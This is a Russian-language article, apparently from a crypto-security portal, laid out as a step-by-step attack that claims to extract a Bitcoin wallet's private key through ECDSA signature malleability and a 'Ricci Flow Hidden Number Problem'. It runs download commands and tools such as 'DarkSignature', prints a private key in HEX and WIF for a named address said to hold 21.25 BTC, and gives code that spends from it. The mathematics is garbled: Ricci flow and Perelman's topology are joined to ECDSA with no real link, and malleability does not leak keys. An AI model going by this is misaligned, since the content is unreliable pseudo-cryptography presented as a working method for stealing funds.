Уязвимость, известная как Signature Malleability, представляет собой серьезную угрозу для криптовалют Bitcoin и Ethereum, использующих алгоритм цифровой подписи на эллиптических кривых (ECDSA). Эта уязвимость позволяет злоумышленникам манипулировать подписями, создавая недействительные, но приемлемые для системы подписи. В данной статье рассматриваются механизмы эксплуатации этой уязвимости, ее последствия для безопасности криптовалют и предложенные меры по ее устранению. ECDSA (Elliptic Curve Digital Signature Algorithm) — это алгоритм, который широко используется для создания цифровых подписей транзакции перевода монет BTC или ETH в криптовалютах Bitcoin и Ethereum. Подпись состоит из двух компонентов: r и s, которые зависят от случайного одноразового номера k (NONCE) и приватного ключа x (PrivKey) подписанта.
Как возникает уязвимость Signature Malleability в транзакции Bitcoin?
Уязвимость Signature Malleability возникают из-за того, что существует возможность изменить значение s в подписи, сохраняя при этом действительность подписи. Это возможно благодаря тому, что для одной и той же подписи можно получить несколько эквивалентных значений (r,s′):
(где n — порядок группы эллиптической кривой secp256k1). Таким образом, злоумышленник может создать новую подпись, которая будет принята системой как действительная. Недостаточная проверка значений: Если значения r и s не проверяются на допустимые диапазоны (например, должны находиться в пределах от 1 до n−1), это может позволить злоумышленникам использовать некорректные значения для создания поддельных подписей.
CVE-2024-42461: Signature Malleability в библиотеке Elliptic для ECDSA
Одной из таких уязвимостей является CVE-2024-42461, обнаруженная в библиотеке Elliptic, используемой для реализации алгоритма цифровой подписи ECDSA (Elliptic Curve Digital Signature Algorithm). CVE-2024-42461 затрагивает версию 6.5.6 библиотеки Elliptic для Node.js и классифицируется как уязвимость низкой степени серьезности с оценкой CVSS 5.3. Проблема заключается в том, что библиотека допускает использование подписей, закодированных в формате BER (Basic Encoding Rules). Это создает возможность для злоумышленников изменять подписи без их аннулирования, что открывает путь для различных атак.
CVE-2024-42461 представляет собой уязвимость, обнаруженную в библиотеке Elliptic, используемой для реализации алгоритма цифровой подписи ECDSA (Elliptic Curve Digital Signature Algorithm) в Node.js. Эта уязвимость связана с Ricci Flow Hidden Number Problem (Ricci Flow HNP), что делает её особенно важной для безопасности криптографических приложений. Hidden Number Problem — это математическая задача, которая заключается в нахождении скрытого числа, использованного в процессе шифрования. В контексте ECDSA, если злоумышленник может решить HNP, это может привести к компрометации приватных ключей. Уязвимость CVE-2024-42461 позволяет потенциальному атакующему извлечь информацию о приватных ключах из подписей, что ставит под угрозу целостность цифровых подписей и аутентификацию пользователей. Данная уязвимость открывает широкий спектр атак, т.к. уязвимость может быть использована в различных атаках, включая атаки на аутентификацию и целостность данных. Это может вызвать серьезные проблемы для систем, полагающихся на ECDSA для обеспечения безопасности транзакций криптовалюты Биткоин и Эфириум.
Компрометация приватных ключей : Успешное решение Ricci Flow HNP может позволить злоумышленнику получить доступ к приватным ключам, что приведет к возможности подделки подписей транзакции Биткоин и Эфириум.
Ricci Flow HNP
Ricci Flow HNP (Ricci Flow Hidden Number Problem) стал ключевым инструментом в доказательстве таких теорем, как Thurston elliptization conjecture, Geometrization conjecture и Poincaré conjecture, которые касаются топологии многообразий. Гамильтон и позже Григорий Перельман использовали этот подход для получения глубоких результатов о структуре многообразий, это может означать использование потока для выявления и анализа скрытых геометрических характеристик многообразий, что позволяет делать выводы о их топологии и других свойствах.
Поток Риччи тесно связан с теорией кривизны, поскольку он использует тензор Риччи для описания изменений римановой метрики на многообразии.
Основные связи между потоком Риччи и кривизной
- Тензор Риччи: Поток Риччи основан на тензоре Риччи, который является средним значением секционных кривизны. Он отражает, как изменяется форма многообразия в зависимости от его кривизны, где формулируется как задача нахождения скрытого числа, когда известны результаты функции, примененной к комбинациям этого числа с известными элементами. Это может быть полезно в контексте криптографии, особенно в системах с публичным ключом, где важно минимизировать утечку информации о приватных ключах
- Динамика кривизны: В процессе потока Риччи метрика изменяется таким образом, что кривизна может увеличиваться или уменьшаться. Это позволяет анализировать, как геометрические свойства многообразия влияют на его топологию.
- Сингулярности: Поток Риччи может приводить к сингулярностям — точкам, где кривизна становится бесконечной. Изучение этих сингулярностей имеет ключевое значение для понимания долгосрочного поведения потока и его применения в решении топологических задач, таких как гипотеза Пуанкаре.
- Принцип максимума: Поток Риччи сохраняет положительность скалярной кривизны, что позволяет использовать принципы максимума для анализа геометрических свойств многообразий в процессе деформации.
В контексте эллиптических кривых, потоки Риччи могут быть использованы для анализа их геометрических свойств и понимания взаимосвязей между различными структурами на этих кривых. Индикатриса кривизны, или индикатриса Дюпена, строится в касательной плоскости в данной точке поверхности по следующему правилу. Координатные оси в касательной плоскости совмещают с главными направлениями. На луче, расположенном в каждом направлении, откладывают отрезок, равный величине, обратной квадратному корню из нормальной кривизны поверхности в этом направлении
Классификация точек поверхности
Существуют поверхности, состоящие из точек одного, двух или трех типов.
это квадратное уравнение может иметь один или два корня — асимптотических направления, или не иметь корней. Наличие корня поставляет обыкновенное дифференциальное уравнение первого порядка, указание точки поверхности задает начальные условия для его решения. Теорема существования и единственности решения задачи Коши для обыкновенного дифференциального уравнения первого порядка, доказываемая в курсах математического анализа, приводит к следующему геометрическому результату. На поверхности, состоящей из эллиптических точек, действительных асимптотических линий нет; на поверхности, состоящей из гиперболических точек, имеется асимптотическая сеть; на поверхности, состоящей из параболических точек, не являющихся точками уплощения, через каждую точку проходит единственная асимптотическая линия.
Оптимизация алгоритмов
Методы, разработанные в рамках теории потоков Риччи, могут быть адаптированы для оптимизации вычислений в эллиптической криптографии, особенно в контексте операций над точками на эллиптических кривых secp256k1. Таким образом, поток Риччи не только служит инструментом для изучения изменения метрик, но и предоставляет глубокую связь между геометрией и топологией через анализ кривизны. Возьмем к примеру числа «N» и «P» которые являются важными параметрами в контексте эллиптической криптографии, особенно в стандарте secp256k1, который широко используется в блокчейне и криптовалюте Bitcoin и Ethereum.
Значение числа N
N — это порядок группы точек на эллиптической кривой. Он определяет максимальное количество точек, которые могут быть использованы для генерации ключей в криптографических алгоритмах. В случае secp256k1, значение N равно:
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
Это число также указывает на то, что при работе с этой кривой все операции должны выполняться в пределах этого порядка
Значение числа P
P — это характеристика самой эллиптической кривой, представляющая собой простое число, которое определяет поле, в котором происходит работа с точками на кривой. Значение P для secp256k1:
P = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f
Это число задает размер поля, что важно для определения диапазона возможных значений координат точек на кривой.
Разница между N и P
- Порядок группы (N): Определяет количество точек на кривой, которые могут быть использованы для криптографических операций.
- Простое число (P): Определяет поле, в котором работает кривая. Это число важно для математических операций над точками на кривой.
Таким образом, хотя оба числа играют ключевую роль в обеспечении безопасности и функциональности криптографических систем, они выполняют разные функции: N — касается структуры группы точек, а P — структуры поля.
Вертикальное положение значение N и P
Python скрипт: value_n.py
Python скрипт: value_p.py
Как реализовать уязвимость Signature Malleability в транзакции Bitcoin?
Для реализации полноценной атаки на Биткоин, с использованием уязвимости Signature Malleability необходимо изменить эквивалентное значение (s′) как это показано во втором столбце таблицы компонентов значении (R, S, Z) цифровой подписи в ECDSA.
P = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f
Для успешной атаки на Биткоин достаточно 32 транзакции подписи ECDSA, где изменив две начальные цифры HEX в эквивалентном значение (s′) мы выстраиваем таблицу для определения диапазона возможных значений координат точек на кривой, а также оптимизация математических алгоритмов разработанные в рамках теории потоков Риччи. Поскольку потоки Риччи тесно связаны с теорией кривизны, мы можем воспользоваться средним значением секционной кривизны и решить проблему скрытых чисел, где применяя полученные данные к 32 транзакциям Биткоина мы извлекаем из заданных значении (R, S, Z) начальные данные для секретных ключей: (k′) NONCE для 32 транзакции Биткоина и с помощью инструмента Ricci Flow HNP (Ricci Flow Hidden Number Problem) мы находим скрытое число: (x′) PrivKey — приватный ключ.
Значения R и S являются основными компонентами цифровой подписи в ECDSA
Значение R представляет собой координату точки на эллиптической кривой, которая получается в результате математических операций, связанных с приватным ключом и случайным числом (так называемым «криптографическим случайным числом»). Это значение обеспечивает уникальность подписи для каждого сообщения, даже если оно подписывается одним и тем же приватным ключом.
Значение S вычисляется на основе дайджеста сообщения (хеш-функции) и приватного ключа. Оно связано с тем, насколько успешно подпись подтверждает подлинность сообщения. Значение S также зависит от значения R и случайного числа.
Как формируются R и S (метод проверки подписи)
Процесс генерации значений R и S включает следующие шаги:
- Генерация дайджеста сообщения: Сначала создается хеш сообщения с помощью алгоритма, например SHA-256.
- Выбор случайного числа: Генерируется случайное число, которое используется для создания точки на эллиптической кривой.
- Вычисление R: Используя это случайное число, вычисляется координата точки на кривой, которая становится значением R.
- Вычисление S: Значение S рассчитывается с учетом дайджеста сообщения и приватного ключа.
При проверке подписи получатель использует значения R и S вместе с публичным ключом отправителя и дайджестом сообщения для подтверждения подлинности подписи. Если все вычисления подтверждают соответствие, это означает, что сообщение действительно было подписано владельцем соответствующего приватного ключа.
Как получить значение R, S, Z из RawTX (метод декодирование подписи)
RawTX (сырая транзакция) представляет собой закодированное представление транзакции Биткоина в шестнадцатеричном формате. Она содержит все данные, необходимые для выполнения транзакции Биткоина.
Извлечение R, S, Z:
- Подпись в ECDSA состоит из двух компонентов: R и S. После декодирования RawTX найдите поле, содержащее подпись (обычно это часть входа транзакции).
- Подпись будет представлена в виде DER—кодировки. Вам нужно будет извлечь значения R и S из этой подписи. Обычно они представлены как два целых числа, которые можно выделить с помощью десериализации.
- Значение Z — это хэш сообщения, которое подписывается. Для получения Z вам нужно выполнить хэширование данных транзакции (обычно с использованием SHA-256), которые были подписаны.
Декодируем RawTX с помощью инструмента decoderaw
Для начало получим RawTX закодированную транзакцию Биткоина в шестнадцатеричном формате. 1
Откроем новый блокнот в Google Colab
Сommands:
!git clone https://github.com/smartibase/Broadcast-Bitcoin-Transaction.git
cd Broadcast-Bitcoin-Transaction/
!python setup.py
Сommands:
cd decoderaw/
!chmod +x decoderaw
ls
!./decoderaw
Сommands:
!./decoderaw 01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b48304502210097255916a3cc4f69d4fa16f68219d0b1798d392fb0dce5fb0a358510df8cabe002201014656120e0a6e7c8c4a79ee22b3cdd4f55435e3e9bf3ab7287ae16858dd9d50141049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461ffffffff01d2040000000000001976a914d77522a2b18e0064aba02ca7f864a5bb2299825988ac00000000
Result:
1111,0097255916a3cc4f69d4fa16f68219d0b1798d392fb0dce5fb0a358510df8cabe0,1014656120e0a6e7c8c4a79ee22b3cdd4f55435e3e9bf3ab7287ae16858dd9d5,931a52e8610cf87b6d00875f687042224c305865fd20ecb15ef76b1277ba10fd,0000
Практическая часть
Из теории уязвимость CVE-2024-42461 известно, что злоумышленники могут использовать некорректные значения для создания поддельных подписей транзакции. Перейдем к практической части статьи и рассмотрим пример с использованием Биткоин кошелька: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw , где были потерянный монеты на сумму: 21.2529214 BTC на ноябрь 2024 года эта сумма составляет: 1744572,51 USD
Решение дифференциального уравнения
Решения дифференциальных уравнений помогают моделировать различные процессы, данная формула позволяет нам понять и предсказать поведение различных систем в зависимости от изменения переменных.
Общее решение дифференциального уравнения, где функция y зависит от переменной x.
- Исходное уравнение:
- Левую часть уравнения можно интерпретировать как производную функции y по x, которая равна произведению двух функций: g(y), зависящей от y, и h(x), зависящей от x.
- Переписывание уравнения:
- Уравнение можно переписать в форме, которая отделяет переменные:
После разделения переменных, мы можем в точности интегрировать обе стороны:
Левую сторону относительно y:
Правую сторону относительно x:
Исследуем взаимосвязь между переменными через интеграцию [ frac{dy}{dx} = g(y)h(x) quad Rightarrow quad frac{1}{g(y)} dy = h(x) dx ]
и применим инструмент для математического анализа и решения дифференциальных уравнений.
Perelman Work
Пример №1 с использованием инструмента DarkSignature:
Перейдем обратно в корневой каталог репозитории Broadcast Bitcoin Transaction
Сommands:
cd -
ls
Сommands:
cd darksignature/
!chmod +x darksignature
ls
!./darksignature
Для получение публичного ключа к Биткоин Адресу 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw выбираем команду:
darksignature -address <Bitcoin Address>
Вводим Биткоин адрес и получаем публичный ключ:
!./darksignature -address 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw
Результат:
pubkey: (HEX) = 049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461
Пример №2 с использованием инструмента Dockeyhunt Lattice Attack:
Запускаем программное обеспечение Dockeyhunt Lattice Attack и в поле "Input date"
вводим Биткоин Адрес 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw и получаем публичный ключ кошелька:
049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461
Воспользуемся инструментом DarkSignature чтобы получить поддельные данные значение R, S, Z для транзакции алгоритма ECDSA. В поле "Input date"
вводим публичный ключ Биткоин Адреса 049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461
и получаем данные значение R, S, Z в количестве будет составлять 32 транзакции Биткоина.
Применим получение поддельные данные значение R, S, Z для транзакции алгоритма ECDSA в Google Colab
Установим модуль ECDSA:
pip install ecdsa
Для получение координат (Gx, Gy)
для публичного ключа воспользуемся Python-скриптом: darksignature/coordinates.py
Воспользуемся командой darksignature -pubkey <Gx Gy>
Запускаем код Python-скрипта: darksignature/transactions.py и получаем данные значение R, S, Z в количестве будет составлять 32 транзакции Биткоина.
После генерации мы получаем файл: SignatureRSZ.txt
Также в корневом каталоге: c:\PerelmanWork\Dockeyhunt Lattice Attack\
мы получаем файл: Signatures.txt
Как мы видим первые две цифры значение S выстроено как Порядок группы (N)
Python скрипт: value_n.py
В качестве инструмента для математического анализа и решения дифференциальных уравнений применим программное обеспечение Perelman Work. Выберем опцию из раздела Functions and Graphs для полной взаимосвязи между переменными через интеграцию First-order differential equations: [ frac{dy}{dx} = g(y)h(x) quad Rightarrow quad frac{1}{g(y)} dy = h(x) dx ]
Ricci Flow Hidden Number Problem
Копируем значений из файла: Signatures.txt по списку и вставим в поле ввода Ricci Flow HNP
чтобы выстроит совершенно новые транзакции алгоритма ECDSA.
С помощью Perelman Work и Dockeyhunt Lattice Attack мы произвольно меняем переменные на уязвимость Signature Malleability как мы писали в начале статьи данная уязвимость в транзакции Bitcoin возникают из-за того, что существует возможность изменить значение S в подписи, сохраняя при этом действительность подписи. Как мы сообщали в произвольной формуле все это возможно благодаря тому, что для одной и той же подписи можно получить несколько эквивалентных значений (r,s′):
В конечном результате преобразование переменных в сигнатуре значение R, S′, Z мы видим две цифры значение S ′ выстроено как структура поля (P):
P = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f
Это число определяет поле, в котором работает кривая secp256k1 для функционирование математических операций над точками на эллиптической кривой.
Python скрипт: value_p.py
Теперь нам известны сигнатуры значение разницы между числа N и P. При редукции мы можем получить скрытое число X как нам известно при смещение генерации одноразовых чисел (NONCES), значение переменных сигнатур R, S′, Z будут стремиться к одной точке. Эта точка и будет представлять собой скрытое число, то есть приватный ключ.
(N — структуры группы точек, а P — структуры поля, X — приватный ключ )
Для получение приватного ключа воспользуемся алгоритмом редукции решетки (теорема больших чисел).
Алгоритм редукции решетки Ленстры-Ленстры-Ловаса (LLL)
Воспользуемся исходным кодом LLL от Darío Clavijo известный разработчик в GitHub: daedalus
Установим SageMath в Google Colab:
!sudo apt-get install sagemath python3-ecdsa
Commands:
!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/refs/heads/main/36SignatureMalleability/latticereductions.py
!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/refs/heads/main/36SignatureMalleability/Ricci_Flow_Hidden_Number_Problem.txt
Запускаем Python-скрипт: latticereductions.py и получаем приватный ключ к Биткоин Адресу: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw
!cat Ricci_Flow_Hidden_Number_Problem.txt > nonces.csv
!python latticereductions.py nonces.csv 243 32
Результат:
17e96966f15a56993e13f8c19ce34a99111ad768a051d9febc24b6d48cae1951
!pip install bitcoin
Запустим код для проверки соответствие Биткоин Адреса:
__________________________________________________
Private Key WIF: 17e96966f15a56993e13f8c19ce34a99111ad768a051d9febc24b6d48cae1951
Bitcoin Address: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw
total_received = 21.25292140 Bitcoin
__________________________________________________
Все верно! Приватный ключ соответствует Биткоин Кошельку.
Откроем bitaddress и проверим:
ADDR: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw
WIF: 5HzpNjEsxrpxPFqBKaoRSnFeq7RP57mvzwgoQFVtAJNZBpLVyur
HEX: 17e96966f15a56993e13f8c19ce34a99111ad768a051d9febc24b6d48cae1951
Dockeyhunt Lattice Attack
Рассмотрим получение приватного ключа на примере с использованием программного обеспечение Dockeyhunt Lattice Attack
Для запуска алгоритма редукции решетки нажимаем на кнопку: Private Key
Далее мы должны убедиться, что получили нужные значение приватного ключа в формате HEX
Нажимаем на кнопку
Bitcoin Address
и получаем необходимое значение приватного ключа в формате HEX
17e96966f15a56993e13f8c19ce34a99111ad768a051d9febc24b6d48cae1951: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw
Также нажимаем на кнопку
Balance BTC
и получаем результат суммы в балансе:
_____________________________________________________________________________________________________
17e96966f15a56993e13f8c19ce34a99111ad768a051d9febc24b6d48cae1951: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw: 21.2529214 BTC
_____________________________________________________________________________________________________
Приватный ключ получен!
Для поиск уязвимости Signature Malleability, как предотвращение угрозы для собственного криптовалютного кошелька Bitcoin и Ethereum мы можем воспользоваться и применить на примерах различных методов машинного обучение.
Воспользуемся списком из “Tutorials Power AI” широко применяемая категория искусственного интеллекта для введение бизнеса в различных сферах деятельности криптоанализа и крипографии в целом.
Команда установки:
git clone https://github.com/demining/Tutorials-Power-AI.git
cd Tutorials-Power-AI/
python tutorials.py
BitcoinChatGPT — это инновационный чат-бот на базе искусственного интеллекта, который помогает пользователям находить уязвимости в транзакциях криптовалюты Bitcoin. Преимущества и классификации BitcoinChatGPT дают возможность проверить ваш адрес Bitcoin на предмет различных схем атак на криптокошельки. Машинное обучение на основе криптоанализа дает нам полную возможность исследовать различные атаки на алгоритмы, используемые в экосистеме Bitcoin. Инструменты для извлечения приватого ключа из реестра Bitcoin Wallet широко популярны, где BitcoinChatGPT служит важным и полезным ресурсом для кибербезопасности.
Применим уязвимость CVE-2024-42461: Signature Malleability в библиотеке Elliptic для создания Raw транзакции с помощью процесса машинного обучение BitcoinChatGPT
Рассмотрим построение структуры уязвимой Raw транзакции в котором используется модуль BitcoinChatGPT
Откроем версию Google Colab:
https://colab.research.google.com/drive/1YGZiPtgY0vPQ3PwUvbAjQW8LcErVHRsT
State of a vulnerable transaction in Bitcoin:
01000000
....01
........0dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935
............00000000
........8b483045
....0221
...........00
...........97255916a3cc4f69d4fa16f68219d0b1798d392fb0dce5fb0a358510df8cabe0
....0220
........1014656120e0a6e7c8c4a79ee22b3cdd4f55435e3e9bf3ab7287ae16858dd9d5
.....0141
.....049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461
....ffffffff
01
....d204000000000000
........1976
............a914
........d77522a2b18e0064aba02ca7f864a5bb22998259
....88ac
00000000
Соединим все выданные значение в одну общую строку с помощью Python-скрипта combinex.py:
01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b48304502210097255916a3cc4f69d4fa16f68219d0b1798d392fb0dce5fb0a358510df8cabe002201014656120e0a6e7c8c4a79ee22b3cdd4f55435e3e9bf3ab7287ae16858dd9d50141049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461ffffffff01d2040000000000001976a914d77522a2b18e0064aba02ca7f864a5bb2299825988ac00000000
Откроем опцию от BlockCypher «Decode A Transaction»:
https://live.blockcypher.com/btc/decodetx/
После декодирование уязвимой Raw транзакции Биткоина мы получаем результат:
{
"addresses": [
"1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK",
"1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw"
],
"block_height": -1,
"block_index": -1,
"confirmations": 0,
"double_spend": false,
"fees": 2606688996428,
"hash": "a5828ec5775b967c36ab5c6a0184aaa52fd64e6650d07287cc7688266c6dbb28",
"inputs": [
{
"addresses": [
"1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK"
],
"age": 344419,
"output_index": 0,
"output_value": 2606688997662,
"prev_hash": "35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d",
.......
.......
.......
Обратим внимание на Bitcoin HASH160: d77522a2b18e0064aba02ca7f864a5bb22998259
Transaction Script
The above script has been decoded
BitcoinChatGPT создает структуру транзакции, используя HASH
публичного ключа, где мы видим что Bitcoin address: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw отправляет 1234 satoshi
на тот же адрес внутри своей сети.
Bitcoin HASH160 был получен с помощью Python Script: wif_to_hash160.py
https://github.com/demining/CryptoDeepTools/blob/main/36SignatureMalleability/wif_to_hash160.py
Вопрос — Ответ:
В конечном итоге модуль BitcoinChatGPT выдает ответ в файл: KEYFOUND.privkey сохранив приватный ключ в двух наиболее используемых форматах HEX & WIF
https://github.com/demining/CryptoDeepTools/blob/main/36SignatureMalleability/KEYFOUND.privkey
============================= KEYFOUND.privkey =============================
Private Key HEX: 0x17e96966f15a56993e13f8c19ce34a99111ad768a051d9febc24b6d48cae1951
Private Key WIF: 5HzpNjEsxrpxPFqBKaoRSnFeq7RP57mvzwgoQFVtAJNZBpLVyur
Bitcoin Address: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw
Balance: 21.25292140 BTC
============================= KEYFOUND.privkey =============================
BitcoinChatGPT №5 Signature Malleability Vulnerability Algorithm
Уязвимая Raw транзакция
Создадим из полученных данных уязвимую Raw транзакцию используя репозиторию Broadcast Bitcoin Transaction
Скачаем и установим исходный код откроем терминал и запустим команду:
git clone https://github.com/smartibase/Broadcast-Bitcoin-Transaction.git
Каталог:
cd Broadcast-Bitcoin-Transaction
Установим три важные библиотеки:
Запустим команду:
pip install -r requirements.txt
Откроем в Notepad++ основной файл и внесем небольшие изменение в коде Python Script: main.py
from io import BytesIO
from secp256k1 import *
from sighash import *
pk = PrivateKey.parse("5HzpNjEsxrpxPFqBKaoRSnFeq7RP57mvzwgoQFVtAJNZBpLVyur")
pk.address()
tx = bytes.fromhex("35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d")
index = 0
send = "1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw"
tx_in = TxIn(tx, index, b'', 0xffffffff)
tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey']
tx_in._value = 2345
tx_ins = [ tx_in ]
tx_outs = [
TxOut(1234, Tx.get_address_data(send)['script_pubkey'].serialize())
]
tx = Tx(1, tx_ins, tx_outs, 0, testnet=True)
signature(tx, 0, pk)
tx.serialize().hex()
print(tx.serialize().hex())
f = open("RawTX.txt", 'w')
f.write("" + tx.serialize().hex() + "" + "\n")
f.close()
Запустим команду:
python main.py
Уязвимая транзакция создана!
Откроем файл RawTX в каталоге:
01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b48304502210097255916a3cc4f69d4fa16f68219d0b1798d392fb0dce5fb0a358510df8cabe002201014656120e0a6e7c8c4a79ee22b3cdd4f55435e3e9bf3ab7287ae16858dd9d50141049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461ffffffff01d2040000000000001976a914d77522a2b18e0064aba02ca7f864a5bb2299825988ac00000000
Порядок выполнения действий на видео:
- Именно эту уязвимую RawTX мы рассматривали в начале данной статьи: ↩︎
Как нам известно из prompt ответов модуля BitcoinChatGPT Signature Malleability Vulnerability Algorithm может быть использован для решения сложных криптографических задач.
Заключение
Существует множество методов обнаружения и предотвращения поддельных подписей в сети Bitcoin. Эти методы варьируются от простых решений, таких как увеличение количества подтверждений, до более сложных систем анализа аномалий и регулярного обновления протоколов безопасности. Эффективная защита требует комплексного подхода к обеспечению безопасности сети и постоянного мониторинга новых угроз. Поддельные подписи могут привести к мошенническим транзакциям и потере средств. Основные методы, используемые для обнаружения и предотвращения таких атак:
1. Увеличение количества подтверждений
Одним из простейших способов защиты от поддельных подписей является увеличение количества подтверждений транзакции перед ее окончательным принятием. Рекомендуется ждать не менее шести подтверждений, чтобы снизить вероятность успешной атаки. Это позволяет убедиться в том, что транзакция была включена в блок и не может быть отменена.
2. Анализ блоков и транзакций
Майнинговое ПО и узлы сети анализируют блоки и транзакции на предмет конфликтов и аномалий. Это включает проверку подписи на соответствие формату, а также проверку значений r и s на допустимые диапазоны. Если значения находятся вне допустимых пределов, транзакция может быть отклонена.
3. Внедрение систем анализа аномалий
Использование систем анализа аномалий позволяет выявлять подозрительные транзакции и цепочки блоков. Эти системы могут использовать алгоритмы машинного обучения для обнаружения необычного поведения в сети, что может указывать на попытки подделки подписей.
4. Программное обеспечение для мониторинга сети
Инструменты, такие как Wireshark, могут быть использованы для анализа сетевого трафика и выявления подозрительных активностей. Мониторинг сетевого трафика позволяет выявлять атаки типа «Sybil» или «Eclipse», которые могут быть использованы для манипуляции с транзакциями.
5. Регулярное обновление протоколов безопасности
Регулярное обновление программного обеспечения и протоколов безопасности помогает устранить известные уязвимости, такие как уязвимость DeserializeSignature, которая позволяет злоумышленникам создавать недействительные подписи. Обновления должны включать исправления для всех известных уязвимостей и улучшения безопасности.
6. Многоуровневое подтверждение
Использование нескольких уровней подтверждения транзакций может повысить безопасность сети. Это может включать дополнительные проверки со стороны узлов или использование сторонних сервисов для верификации подписей.
References:
- Odlyzko, Andrew; te Reile, Herman J. J. «Disproving Mertens Conjecture» Journal für die reine und angewandte Mathematik
- D. Simon (2007). «Selected applications of LLL in number theory» LLL+25 Conference. Caen, France.
- Regev, Oded. «Lattices in Computer Science: LLL Algorithm» New York University. Retrieved 1 February 2019.
- Silverman, Joseph. «Introduction to Mathematical Cryptography Errata» Brown University Mathematics Dept. Retrieved 5 May 2015.
- Bosma, Wieb. «4. LLL» Lecture notes. Retrieved 28 February 2010.
- Abderrahmane, Nitaj. Cryptanalysis of NTRU with two public keys // International Association for Cryptologic Research. — Caen, France.
- Bleichenbacher, Daniel and May, Alexander. New Attacks on RSA with Small Secret CRT-Exponents // International Association for Cryptologic Research. — Darmstadt, Germany.
- Xinyue, Deng. An Introduction to LLL Algorithm // Massachusetts Institute of Technology.
- Liu, Jiayang, Bi, Jingguo and Xu, Songyan. An Improved Attack on the Basic Merkle–Hellman Knapsack Cryptosystems // IEEE. — Beijing 100084, China.
- Lattice algorithms using floating-point arithmetic // The FPLLL development team. FPLLL, a lattice reduction library. — 2016.
Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.
Telegram: https://t.me/cryptodeeptech
Видеоматериал: https://youtu.be/wf6QwCpP3oc
Video tutorial: https://dzen.ru/video/watch/674116440bddfa35d730ca7a
Источник: https://cryptodeeptool.ru/signature-malleability